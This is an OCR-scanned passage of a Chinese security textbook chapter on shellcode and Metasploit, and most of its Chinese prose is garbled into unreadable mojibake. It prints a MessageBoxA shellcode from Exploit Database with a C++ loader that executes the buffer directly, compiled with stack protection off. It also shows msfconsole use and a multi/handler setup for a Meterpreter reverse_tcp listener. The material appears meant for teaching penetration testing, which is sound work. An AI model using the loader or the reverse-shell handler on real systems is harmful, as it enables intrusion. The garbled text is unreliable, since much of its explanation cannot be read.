s A R A0 $11T shellcode

“ERE R B A, B LR MR R I ) M AR R — TR A AT S5, HOAR
Xf shellcode & ZACHD 47 R HEAT 20 M7, Fe & ik B4R B shellcode 3% 2 A ) H 1), A 3%
A B ARBU A i shellcode 3B ACHS 1 5 325, DA R A AT shellcode %2 ACHS 19 57 X, .

3.1 shellcode 48

shellcode J&— B F H B4 I 1 1 AT B9 -1 75 2 R HL2% A5 . B8 9 250 38 TR IR 4
i A 2y shell #2100, Ir AgEFR R shellcode, 1EMHLERS Y shellcode I/ RE B4 7 1
RGEHIAT , M2 55 2l g AR F I8 R A e AT, C i 5 1Y shellcode 7 DL F AT
I A 7R B 2R B i s i v ARG A T

/ /52 PRI HE MessageBoxA i H Xif 35 HE

unsigned chaR Shellcode[ ] =

"\ xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\ x8B"
"\ x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\ x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"
"\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"
"\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"
"\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"
"\x72\x54\xFF\xD0\x68\x6F\x78\x41\x01\x8B"
"\ xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
"\ x68\x4D\x65\x73\x73\x54\ x50\ xFF\x54\x24"
"\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"
"\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"
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"\ x8B\xDF\x88\x5C\x24\x03\x68\x50\x72\x6F"
"\x63\x68\x45\x78\x69\x74\x54\ xFF\x74\x24"
"\ x40\ xFF\x54\x24\x40\x57\xFF\xD0" ;

BARTLEE A F Skl shellcode fRIBH) H K, T f# shellcode fCH3AY LI AE . H & 7]
LI# FH sedbg T EL ¥ [7] 43 BT shellcode AA% 3 A Windows APT B %L, MM # f# shellcode
B sE P Th e,

3.1.1 shell ZimiZE443

BAERG Y shell & — MM P 8 0, T 5 WAL B HATIE E RS a2 10 1
R, 5 T BB ER TR,

Windows #:/ER G (1) shell @442 #2287 F cmd. exe F1 PowerShell N H T
FH P AT LA P B Windows+ R FT RIS AT XS 36 AE , 40181 3-1 .

TE“TBAT X 10 HE 19 “FT IF 75 AKE g A emd , B0 58 V4% 41 B A 4T T S R R A &
Vi ST, AN 3-2 s

EJ_I Windows REGFFEANER, HEFTFHERNER. T —r—— - .
iz, TR Intemet B5E. Microsoft Windows [hRAs 10.0.22000. 1219]
(¢) Microsoft Corporation. {58 FrfEH .
FIFFQ: |
% smEEERaRIES, C:\Users\Lenovo>
WE i WE(B)...
B 3-1 Windows B 1E R FEITIEIE B 3-2 Windows BERGEH LR IFLREORE

WA 2477 X 3G AE 19 “ FT TF 7 5y AHE Hh s A PowerShell, 5“8 2 4 4, ) 25 T F
PowerShell 2 ¥ i 1 A1 WA 3-3 iR .

JH P AT DAAEFT I 1 2% i S 18D o g A BB (9 5 2 . 4% Enter BT, B 44T whoami fir
L PRBCHHT SR 2] Windows #AFE R G000 B0 K5 fH B, W 3-4 s

Linux #4E RGEWRMEA TP T IAT R G0 an 2 M & i 42 1, 4048 bash, sh 55, B
ANTE Y Linux #24E RGERAT AR B T AN [F Y shell $ 0 H e WLAY 2 Linux #8:4E R 508
AN Y bash shell, HF AT LATE Linux #24E R 4809 20 bash shell B 84T A [\ 1Y & Gt i
A BIANEIAT ifconfig fir 4 A5 & W 45 3 e v (RO AE B A& 3-5 B,

BAERGT Y shell 242 Ab45 H AT RGe a2 103 10, TP T3 O] IAT R B R 5
A AHE AL R ) shell 7] %43 Reverse shell(Jz 5 shell) #1 Bind shell (485 shelD) .

Reverse shell ZF85 il HArHt RGean4 shell $2 1 S 20 IRk 55 25 09 W Wr o 11, 0 18] 3-6 I

Bind shell 248 7€ H bR R G0 F s W 0T o 11, 55 55 3% 2 . @ 7 n] DLBUAT AR B A 2 19 shell
L O, Mg 3-7 PR,



¥3&  FpF0fTshellcode [P 51

Corporations fF

M PowerShell, T HIIEEAIZNE! hutps://aka

P ors\Admini strator

& 3-3 Windows £ 1E & % PowerShell &% & O R |

& 3-4 Windows 2 1E & %t shell RinHITH S

Fie dctions Esn View tietp

ethé: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.10.129 netmask 255.255.255.0 broadcast 192.168.10.255
inet6 fe80::b633:83f6:25af:8250 prefixlen 64 scopeid @x28<link>
ether 80:0c:29:9c:d9:69 txqueuelen 1000 (Ethernet)
RX packets 1 bytes 342 (342.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 20 bytes 2910 (2.8 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.90.0.0
ineté ::1 prefixlen 128 scopeid 0xl@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets & bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

3-5 Linux £ 1E & F & 1T ifconfig i7 &
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F P T AR ARSI . Fshell BLREIR 555G

WSS | - H bt F i

3-6 R shell B 5 HIERTE

H bR s i T ARSI O

EREE S = | HPRE i

(T80 i o] LU B T o 1), 2EEE BRAR 55 fishell
B 3-7 437E shell B 5 RIERE

H 48R Reverse shell Fl Bind shell #F 8 SEIHATHEE RS a2 I RE H A0 2R HAREAE R 40
FF I B J3 ) Reverse shell W LUTE G- b 258 528 577 2 35k 04 4o 008 5 86, 2 087 38k B A0 2R 2, 4970 an
NS B K S8 3k B8 o 80 ity 1 % i A HAth A S R H Sl s 1, D0 350 24 i H AR R G AR LA ]
AN 25 IR 5 4 19 80 Ui T, FE X A B0 L Bind shell 18 & 1 Wi W Siig 1147 36 9 7 1) BT LA
Bind shell 7& 245 B A i O C & 45 rh 0 ik IE 3 LA [HI2 X T Reverse shell A] LA i A0 6
D) £ i 55 25 19 W W g 141 3 Ry 80 lﬂﬁD HARERAE 2R G809 B I AN 23 30 B80T SR I 45 i 55 2% 80
i 11 B 5 10 ABCRI R A8 58 3 B 47 8 114 3 B SR e, FH P ] LATE SCSY shell 4% B AT R G2 .

3.1.2 3K shellcode 1) Jj ik

RHL shellcode RS B 3428 o BE AT LA ELHE L 28, A0 0] DA A Bl T =LA i, anfer
4’5 shellcode FAEAS P S 1 P9 2530 [l L TS8R 1Y 13235 1T LA FL AT A DR ekl 22 2]

HRAR 22 W 3l $2 11 R 28, shellcode AYTIHE U1 1 » {HJ2: Exploit Database ‘B WK S& J& #5522 Xl
ROz —, ) BT #5071 Exploit Database B M, 3% #% [ 7001 i1 £ 1 By SHELLCODE [
PR ARG TEFT T shellcode 8138 BT EEFEIF T A TEAY shellcode, U1 3-8 /K.

Tarek Abrmedd

3-8 Exploit Database Shellcodes T H
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& % £ Allwin MessageBoxA Shellcode T Ifii f shellcode 115, H & A & 4T

shellcode fCTH i C++ 1 5 AR5 AL AT

//%% 3 & /shellcode. cpp

/ *

Title: Allwin MessageBoxA Shellcode
Date: 2010 - 06 — 11

Author: RubberDuck

Web: http://bflow. security — portal. cz

Tested on: Win 2k, Win 2003, Win XP Home SP2/SP3 CZ/ENG (32), Win Vista (32)/(64), Win 7 (32)/

(64), Win 2k8 (32)

Thanks to: Kernelhunter, Lodus, Vrtule, Mato, cm311lkl, eat, stlgd3r and others

* /
# include < stdio. h>
# include < string. h>

% include < stdlib. h>

int main() {

unsigned chaR Shellcode[ ] =
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\ xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\ x8B\ x53\x3C\x03\xD3\ xFF\x72"
"\ x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\ xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\ x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x33\xFF\x57\x68\x61\x72"
"\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F"
"\x61\x64\x54\x53\xFF\xD2\x68\x33\x32\x01"
"\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65"
"\x72\x54\ xFF\xD0\x68\x6F\x78\x41\x01\x8B"
"\ xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
"\x68\x4D\x65\x73\x73\x54\ x50\ xFF\x54\x24"
"\x2C\x57\x68\x4F\x5F\x6F\x21\x8B\xDC\x57"
"\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01"
"\ x8B\ xDF\ x88\x5C\x24\x03\x68\x50\x72\x6F"
"\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24"
"\ x40\ xFF\x54\x24\x40\x57\xFF\xD0" ;

printf("Size = % d\n", strlen(shellcode));

system("PAUSE") ;

# %€ X shellcode %{ 4



54 | EERIDY G OITELER

((void ( * )())shellcode)(); # 4T shellcode

return 0;

}

2R3 2 RS AE Windows 10 B Windows 11 #24E R G P AT, WIZEH#AE &
Gi rh Al REAN 2 X HE . R iX B shellcode 18RS v B &6 43 32 78 iZ AU RS AL fEE Win 2k,
Win 2003, Win XP Home SP2/SP3 CZ/ENG (32).Win Vista (32)/(64),Win 7 (32)/
(64) ,Win 2k8 (32)#:4E R G p AT, BT LA X BL shellcode A58 7] € L TE Windows 10 F
Windows 11 #/E R4 IE# A7 .
{#i [ x64 Native Tools Command Prompt for VS 2022 454 T H 4154542 VA I shellcode 1
DA AT

cl. exe /nologo /0x /MT /WO /GS— /DNDebug /Tc shellcode. cpp /1link /OUT:shellcode. exe
/SUBSYSTEM: CONSOLE /MACHINE : x64

R A A T H D) 4 PR 5 3% shellcode CH5, ) 2 7 24 | T 4F H 5% 42 il shellcode. exe
AFPAT R T SO an Al 3-9 B

FHEBH HE3HE ], exe /nologo /Ox /MT /WO /GS- /DNDEBUG /Tc shellcode. cpp /1

i 4B S

D\ 00book: T
e /SUBSYSTEM:CONSOLE /MACHINE : x6:

ink /OUT:
shellcode.

B3R dir

D: \00book 1 i) 47 B
Oh o

01522 T3 i S By SE R A B AT i o W AR R\ B8 T B

DIR i 1
DIR T

209 20:99
2022/10/14 2(]:29

2 |E|}\ 31, 847 JIEJli ]'“1 ]

B 3-9 X Th 4R iF %% shellcode X 75

1E Exploit Database B ® T 2% i shellcode {83 7, unsigned chaR Shellcode[ | %t 4H H
TAEAE 75 I 208 shellcode, ((void (% ) () shellcode) O i 1 5 £ 19 Iy X 78 71 5 HL 5
YER G #AT shellcode fUAS . X Bt shellcode fUR% $hAT J5 23 76 & G0 v 3 — 4> XF I 4,
MR E B A 3-10 FiR .

EE: AZKEM T &4 shellcode & & KA T 46 H 35 54538 A 7 62 shellcode &
FMEGH B AN T ARG R AL shellcode KA, § Bk 303 LR 2 4.
A $EH P49 shellcode & ZF KA, E ¥ unsigned chaR Shellcode[ ]4k 48 % 4 const chaR
Shellcode[ ] &% iE # 4 % #AT .

Bk Exploit Database ‘B WA DL F 73 shellcode {0, {H 2 F 23] 1Y shellcode
AL I A — & A L b H 5t B B ARAD A A K843 shellcode AURS R F A 3t T 2
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-
Size =
AT

B 3-10 ZRiEiZ1T shellcode &&= XY

EHIE AR . BARAE R Z T H e LT H % XA shellcode A5 AH A B - 9 T g
i 7 B 25U, R AN AT ZF Metasploit Framework 3 i3 R AE 22 1 A9 MsfVenom T E
H: 1 shellcode ARRD , B85 1t 132 2 7] LA ELIE )| 7 4% 0 At T B 2= > Fifdfi A

3.2 Metasploit TEN2B

Metasploit J&— PN IR E EMLF G R 7 REB BGOSR, LS T3
M P B T H . Metasploit HE4E & B Ruby 6 5 %5 B AL HELE , HA R 47
9 e S 2 N B3] DAAR I 52 s A L O 2% e il AH B T B

Metasploit B B 4~ F B A, 47 5 & Metasploit Pro 1 Metasploit Framework,
Metasploit Pro J& Metasploit 1R W 9% . 8244 A 30 1k 48 BT 55 19 D ae . T Al LA AE ] #E
AL 52 B B R % . Metasploit Framework & Metasploit B9 JF IR 4+L X i, B P 7%
BEAE A A 4 v B o8 B & W AR 5. X T 2% ) Metasploit, fff i Metasploit
Framework 7] DL J& X 1 575 5K o A 458 78 Kali Linux %48 1§ /) Metasploit Framework 7
Metasploit B FH 7 ik,

3.2.1 Metasploit Framework H 3% %

KaliLinux ¥ ) Metasploit Framework ZRIAf# 77 7/ usr/share/metasploit-framework
H &, #£ bash shell fi4 2o HAT 1s a2 A F H S0 SCHE L &l 3-11 FiR .

fusr/share/metasploit-framework

documentation metasploit-framework.gemspec msfdb msfupdate Rakefile script-recon
Gemfile msf-json-rpc.ru msfvenom  ruby
Gemfile.lock msfconsole msfrpc msf-ws.ru script-exploit

msfd msfrpecd script-password

& 3-11 metasploit-framework B F X 45 &

f£ metasploit-framework H 5 H (%) AR [F] F H 5% P 17 & HE 2238 17 33 72 b i AS [R) e &
A, HPpEEN T HFEHA data.modules. tools &,

N
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1E data T H 3 H {7 Metasploit Framework 15 8 R AE 4812 1732 A& 59 508 25,
E 3-12 Fis .

E( kali® kali)-[/usr/share/metasploit-framework/data]
$ 1s

auxiliary exchange_versions.json jtr sounds webcam
capture_config.yaml exploits lab sqlClrPayload wmap

eicar.com flash_detector logos php templates wordlists

eicar.txt headers markdown_doc post utilities ysoserial_payloads.json
emailer_config.yaml ipwn meterpreter shellcode  vncdll.x64.d11

evasion isight.bundle mime . yml snmp vnedll.x86.d11

[j-(ﬁal11-h02i)-[fusrflh.rlfl.ta:sloit-frl-alorkfd.ti]
s

B 3-12 data FERFHXHER
Horp wordlists H SR HPAEfif T 45 Fl 2 S S0, an & 3-13 Fis

[?{;”=2 “ kali)-[/usr/share/metasploit-framework/data]

© 15 wordlists

adobe_topl00_pass.txt namelist.txt
av_hips_executables.txt oracle_default_hashes.txt
av-update-urls.txt oracle_default_passwords.cswv
burnett_top_1024.txt oracle_default_userpass.txt
burnett_top_500.txt password.lst
can_flood_frames.txt piata_ssh_userpass.txt
cms400net_default_userpass.txt postgres_default_pass.txt
common_roots.txt postgres_default_userpass.txt
dangerzone_a.txt postgres_default_user.txt
dangerzone_b.txt root_userpass.txt
db2_default_pass.txt routers_userpass.txt
db2_default_userpass.txt rpc_names.txt
db2_default_user.txt rservices_from_users.txt
default_pass_for_services_unhash.txt sap_common.txt

A £ 1 e £ s FOTVE b | SRS A £ q1 e &

E 3-13 wordlists BEFHHXHER

£ module T H R A% T Metasploit Framework & 7 Il :0HE 48 () £ Fp D) BE B H L 4n
& 3-14 i,

E 3-14 module FERFHXHER
1E tools T H st H1EfiE T Metasploit Framework 3% MAHE2E A9 % Fh T H , a0/ 3-15 iR,

)-[/usr/share/metasploit-framework/tools]

[r—(f.”

smb_file_server.rb

B 3-15 tools FERHFHIHER
Metasploit Framework 75 % il iU HE 42 v o K 280 T B ] Ruby 15 98 S . 9l 41 smb_
file_server. rb JIA H F Al & SMB g % v . A 41 F -

L—$ cat smb file server.rb
# 1 /usr/bin/env ruby
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= 5 AR
require 'pathname'
require 'ruby smb'

# we just need * a* default encoding to handle the strings from the NTLM messages
Encoding. default_ internal = 'UTF — 8' if Encoding. default internal.nil?

(]

options = RubySMB::Server::Cli.parse(defaults: { share path: '.', username: 'metasploit'}) do
| options, parser|
parser. banner = <<~EO0S

Usage: # {File.basename( FILE )} [options]
Start a read — only SMB file server.

Options:
EOS

parser.on(" —— share — path SHARE PATH", "The path to share (default: # {options| :share
path]})") do [path|
options[ :share path] = path
end
end

server = RubySMB: :Server: :Cli.build(options)

server.add share(RubySMB: : Server: : Share: : Provider: : Disk. new(options|[ : share name], options
[ :share path]))

# )5 3l SMB I 55

RubySMB: : Server: :Cli. run(server)

3.2.2 Metasploit Framework fde4H pk

Metasploit Framework i il i:0HE 442 2 TR 20 iP5 D e A9 AN 1K Ruby 165 S
B A R 0 RIS [RIAR e R, #0843 oh auxiliary .encoders . evasion. exploits.nops . payloads . post,

AN RS B A AN R B e B A B R D BE AN 3R 3-1 TR .

% 3-1 Metasploit Framework & 3R Th &

L A [l
auxiliary BB e {F B gE
encoders I RSB, % payload Y 2 15
evasion FLRERE L, X payload (Y HU ikt A% K
exploits T ) R AR e, 0 4k 22 4 U T
nops ?éﬁi}%,*kﬁiﬂﬁl/:éﬁﬁ@ nop *59
payloads Yo 2y BT HR, AR B B sk 46 % shell
post JR BB RBE R shell J5 ,# — 25
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Metasploit Framework 38 % I 2 fiE 22 (% {5 B 77 3 181 28 S [ 5 B i ol FH O 10 A 2
5o B ff A auxiliary 5 B A B ) auxiliary/scanner/http/http _version il A< W £ H #5
HTTP 55 & BA 5 B

TE Metasploit Framework 32 i Il i HE 22 # 19 msfconsole fy 4 £ ¥ 32 1 N 3% http
version A, Ay & UTF .

use auxiliary/scanner/http/http version

AN 5E LR 5 L $14T show options AF & # & http_version AT BHE B IS, W
& 3-16 Fi7s .

msf6 auxiliary(scanner/http/http_version) > show options
Module options (auxiliary/scanner/http/http_version):
Name Current Setting Required Description
Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT B0 yes The target port (TCP)
S5L false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host

3-16 MAEEREMNSH

TE A 2 03] F v, W B Required 3 Y {H & yes, W) 05 3% B XF W 2 %0 {H ., http_
version A< RHOSTS S8 7 15 o0 H AR AR 55 #5119 1P sk s 3844 . i H set RHOSTS
127.0.0. 1 sy A% BAR IR & %8 1P #uhbi% & 4 127.0.0. 1, A BT 3-17 Fizs .

msfé auxiliary( f ttp/http v n) > set RHOSTS 127.0.0.1
RHOSTS = 127.0.0.1
msf6 auxiliary( L tt ttp_version) > show options

Module options (auxiliary/scanner/http/http_version):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]

RHOSTS 127.9.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

VHOST no HTTP server virtual host

& 3-17 1% RHOSTS S {EIZE 4 127.0.0. 1

R FEMMA P 127.0.0. 1 2 ARG W -F g IP ik, localhost & K 3 #f #7 3]
127.0.0.1 8938 %, ARFEMFEZ2A TR AN FREETAEF I,

% http_version A A RHOSTS S 405 . - f# H show options #iy 4 7] LI & H S5
ERBEERY ., W RHOSTS Z280% & 4 127. 0. 0. 1. M AT $14T run 5 exploit 4y 43K
B HTTP R4 &5 0 A F 2 an Kl 3-18 s,

WINIRAT http_version JIAS 5 . 2% H A HTTP IR 55 25 19 BUAS 5 B Apache/2. 4. 54, H:
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auxiliary(scanner/http/http_version) > run

127.0.0.1:80 Apache/2.4.54 (Debian)
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary(scanner/http/http_version) > exploit

127.0.0.1:80 Apache/2.4.54 (Debian)
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

3-18 RELHTTP RSB AEE
fl A A {7 15 5 auxialiary BEH R http_version JEIAS 5 4 H J5 % — 20, B OSBRI
B AT DA 5 ol P EL At R e o () AR
3.2.3 Metasploit Framework iy 2 £ 1

Metasploit Framework 18 i il i5UHE 48 $2 41 T iy 4 L £z 11, P 0] DLUAE iy 4 28 v
T A R e (g BN AR 52 B398 38 AT 45 . 7E Linux shell 2355 H 04T msfconsole #y 4 4T FF
Metasploit Framework #iy4-4% 0, @& 3-19 Fs .,

7575 70 5576665266202, 2625062676266, .70 60 2626363626667 7676036 56,2626, 25.06.678 2.2 707666646, 40 .40 .20, 66
% ExR% Y S S S EFERSEREFESEERFRELE Y FEIEEYEFFFES VISR E L ETEEE S
XH XK BRERBARE EEEESEREEEEERTELEEEEFFEFEEE L P LSS T EEEFEEFEE R PSSR
% ERRRRRLH HRXXRHEEXXL https: //metasploit.com TEBHEHERBHAXRBHLEEHXEELLY
®h Bk BRkbEL 07765 %% 5 7 56 7% 065 56 %2 6 0 6 B 1B 6B 0B BB BB BEHELRBBHHHHLEHE
HE RRBXEREND BEXEXHDEXABHLEXRBLHRBBHRBHLHHBHBEBERHBHBHBHBIHLXHHHH00 0 555%56565%.5%.5.5.055
PSS ESEEEEEESEC SR FLFEELEFEEETEEESEFEEEELEEESEREGETESEEFECHIEES EEETESEFEEEE S
EY Y Y S R Y YRS PSS S S S Y Y EEE R Y F SRS EEESESE IR EEEEEEEFEEEFFFERETHEE
HHED pd ERFER RS I S E S LSS YR EEREPEEEEFESEEEEFEEEN T ST R
BEEE e W X %% % HHREBR % XD T BHHBRS %
BHEE  HE OB X KRR BREE O AARE WX AR BRER A W AR MR A BAR  MRkRY
HHEH  BREEEE BHBRNS HBHED  BEE  BERE KR % ARE ‘36%% % He BREXE

BEEBRBEREELE BHEH KREHX S 1 % B OBREE  BXEX XXX BXH %
EY S ESFEH TSR EEFEFEFFEFERESHSESEEEF S EEEEEF RS ST S U F Y SR F R E ST EFEREEES
55,7500, 707 10 700,20 20001020 00 0.0 1 70,10 20,0070 10 00 20.10.10.6.660.80. A0 70 16 00 BELRBXHHHBHEDD

EF R S ESE S ESES SR L FEEVEFEFEEEEEEEEEFEEEEEEFERESEFESEEFES Y FEEEFEEEEFEEH S

=[ metasploit v6.2.9-dev

]
+ == ——=[ 2230 exploits - 1177 auxiliary - 398 post 1
+ -- -——=[ 867 payloads - 45 encoders - 11 nops 1
+ — —=[ 9 evasion 1

Metasploit tip: View all productivity tips with the
tips command

msfe > |

& 3-19 Kali Linux & 3% F1 3T FF Metasploit 1E 22

1E Metasploit Framework 15 1% Il i HE 22 (19 iy 4 23 msfconsole H i A help 773k

i A B E B WAl 3-20 FR

Metasploit Framework ¥ 1% M8 HE 22 %F msfconsole Z3 #1236 47 4328 A A 43 26
) i AT AN R ZHRE

Metasploit Framework iy 4% 0 msfconsole [ Core Command 4338 2 4E T & .0 fir
A AT
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msfé > ?
Core Commands
Command Description
? Help menu
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
debug Display information useful for debugging
exit Exit the console
features Display the list of not yet released features that can be opted in to
get Gets the value of a context-specific variable
getg Gets the value of a global variable
grep Grep the output of another command
help Help menu

& 3-20 ZEF msfconsole #B BI1{5 B

= i A5 B A S

? Help menu

# i it banner {7 &

banner Display an awesome metasploit banner
= PR T AR H AR

cd Change the current working directory
F B RL G 6

color Toggle color

% 4% )T R E AL

connect Communicate with a host

= iy RS R

Debug Display information useful for Debugging
# 1B i & i

exit Exit the console

= i HH B A R AT B B BE R

features Display the list of not yet released features that can be opted in to
# AR A AR B 9 (H

get Gets the value of a context — specific variable
= AR 4 R AR 1

getg Gets the value of a global variable
7 1 HCAl iy &> ) i i 9

grep Grep the output of another command

= it B A5 R

help Help menu

By A4 B A SR

history Show command history

0 2R AE B4 1

load Load a framework plugin

£ IR A

quit Exit the console

# HmE AT IR

repeat Repeat a list of commands

# BE R
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route Route traffic through a session

= RAFRE R R

save Saves the active datastores

= i th 251 ) R

sessions Dump session listings and display information about sessions
#RESHE

set Sets a context — specific variable to a value

£ B2 RSHE

setg Sets a global variable to a value

= PR IR

sleep Do nothing for the specified number of seconds

= e e v 1 DR A B SO

spool Write console output into a file as well the screen
= EAHMRER G LR

threads View and manipulate background threads

# i i tips $795

tips Show a list of useful productivity tips

£ 1H) 2 HE B4 1

unload Unload a framework plugin

FHBRZSEUE

unset Unsets one or more context — specific variables
R RS 8E

unsetg Unsets one or more global variables

= Fin th A B

version Show the framework and console library version numbers

Metasploit Framework fif 4 #% 1 msfconsole A Module Commands 432 Fr 244 T & £
ML AT .

£ fiy Hh AR G 3

advanced Displays advanced options for one or more modules
# [ 1]

back Move back from the current context

= 1 B Ak

clearm Clear the module stack

= B B N 2 2 AR B R

favorite Add module(s) to the list of favorite modules

= it A B

info Displays information about one or more modules

= i R AR

listm List the module stack

N ELR B AR v 48 201 A B

loadpath Searches for and loads modules from a path

= Hiy Hh AR ) 42 JR) 328 15

options Displays global options or for one or more modules
= B AR T

popm Pops the latest module off the stack and makes it active

& ol JH T A AS A A 2 i A

previous Sets the previously loaded module as the current module
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= R AR

pushm Pushes the active or list of modules onto the module stack
= HOBT A A

reload_all Reloads all modules from all defined module paths
R

search Searches module names and descriptions

= % th A5 B

show Displays modules of a given type, or all modules

= ff IR

use Interact with a module by name or search term/index

Metasploit Framework fir4- 3% [ msfconsole A Job Commands 4328 H 2 4E T 7E b AH

KA 2

= DIAVENL ) )5 S 3l payload handler

handler Start a payload handler as job
= G i IR EAE L

jobs Displays and manages jobs

# L IEEE

kill Kill a job

= = i 44 Rk

rename_job Rename a job

Metasploit Framework #y4#% 1 msfconsole i Resource Script Commands 432 W #

BT BEEAA AR S A & L A U E

# 4 msfconsole AT Ay & PR AF B S

makerc Save commands entered since start to a file
# M3 H AT msfconsole iy 4
resource Run the commands stored in a file

Metasploit Framework it 4 # [T msfconsole fJ Database Backend Commands 432 1

b Ty PSS R 1

S M BCHE A TP M ik B TP M ik Y B EALME R

analyze Analyze database information about a specific address or address range
= i BB R IR 55

db_connect Connect to an existing data service

= v B R R I

db disconnect Disconnect from the current data service

& 5 B

db_export Export a file containing the contents of the database

= 5B

db_import Import a scan result file (filetype will be auto — detected)
# AT nmap Jf IR FF 45 2R

db_nmap Executes nmap and records the output automatically
AL HOHE PR Ak 2 A7

db rebuild cache Rebuilds the database — stored module cache (deprecated)

= BB B IR 55 4 5 R
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db_remove Remove the saved data service entry
£ RAFRIE PR AR B
db_save Save the current data service connection as the default to reconnect on startup

 Ha H =4 RO 2 AR 55 IR S

db_status Show the current data service status

= 5 2 B8 PR v AL S
hosts List all hosts in the database
£ B 28 AR R T loot {5 B
loot List all loot in the database
= B 28 045 PR rh Am i A B
notes List all notes in the database
= DI 28 B35 e e 551 S
services List all services in the database
# 512 B g bl 45 S
vulns List all vulnerabilities in the database
= VI B R T AR IX

workspace Switch between database workspaces

Metasploit Framework #7 4 # 0 msfconsole # Credentials Backend Commands 43 2%

EP‘J?%{ Tﬁ\lﬂz/fnau\*ﬁaé 9HUAQDT
5 B2 JOH o RS B

creds List all credentials in the database

Metasploit Framework iy 44 1 msfconsole ] Developer Commands 4328 244t T IF
KEBM S ST .

= Y AR

edit Edit the current module or a file with the preferred editor
# 4T JF Ruby 22 H. % ¥iiy

irb Open an interactive Ruby shell in the current context

= i s H & 5t

log Display framework. log paged to the end if possible

= FTJF pry IRy fig

pry Open the Pry Debugger on the current module or Framework
# H T N#L Ruby J#

reload lib Reload Ruby library files from specified paths

£ fy A A AT A 8]

time Time how long it takes to run a particular command

TE i ) B A5 B AL FE msfconsole UM FH R B . ar 2 1 F .

RIS 1AL

Terminate the first sessions:
sessions —k 1

#1451k job /RN

Stop some extra running jobs:
jobs -k 2-6,7,8,11..15
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# {5 PSR A TP b bk X N S AL
Check a set of IP addresses:
check 127.168.0.0/16, 127.0.0—2.1—4,15 127.0.0. 255

# IPv6 [ 3 AL hE
Target a set of IPv6 hosts:
set RHOSTS fe80::3990:0000/110, ::1— ::f0f0
# CIDR & AU (1% 3= HL i ik
Target a block from a resolved domain name:
set RHOSTS www. example. test/24

Metasploit Framework 5 i M3 HE 22 iy 2 4% 11 msfconsole B2 #5 70 H AR 2880, v
HRAE 42 7R e FE A AR R 2R AL i . A F5 P Ll msfeonsole &3 s ' W W il 55 5% o S 491
PHZAE S w2 .

Metasploit HEZEAH AR G A 4 6 2 W T IR 55, S5 158 % 7 3 S0 AT shellcode, 2 3L shell
2> H oh % 3 2 W T I 45 » msfconsole B & Wi WT IR 55 A9 2 N T

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload Windows/meterpreter/reverse tcp
msf6 exploit(multi/handler) > set lhost 192.168.10.129

msf6 exploit(multi/handler) > set lport4444

msf6 exploit(multi/handler) > exploit

PATRI A2 )5 . & 7E msfconsole 283 7 i iR 55 %8 v T g X 4444 ¥ 7 W Wr, 4o & 3-21

FioR
msf6 exploit{mul r) > set payload windows/meterpreter/reverse_tcp
payload = w1nd0ws!meterpreter!reverse tcp
msf6 exploit(s i ) > set lhost 192.168.10.129
lhost = 192.168.1@.129
msf6 exploit{mul ) » exploit

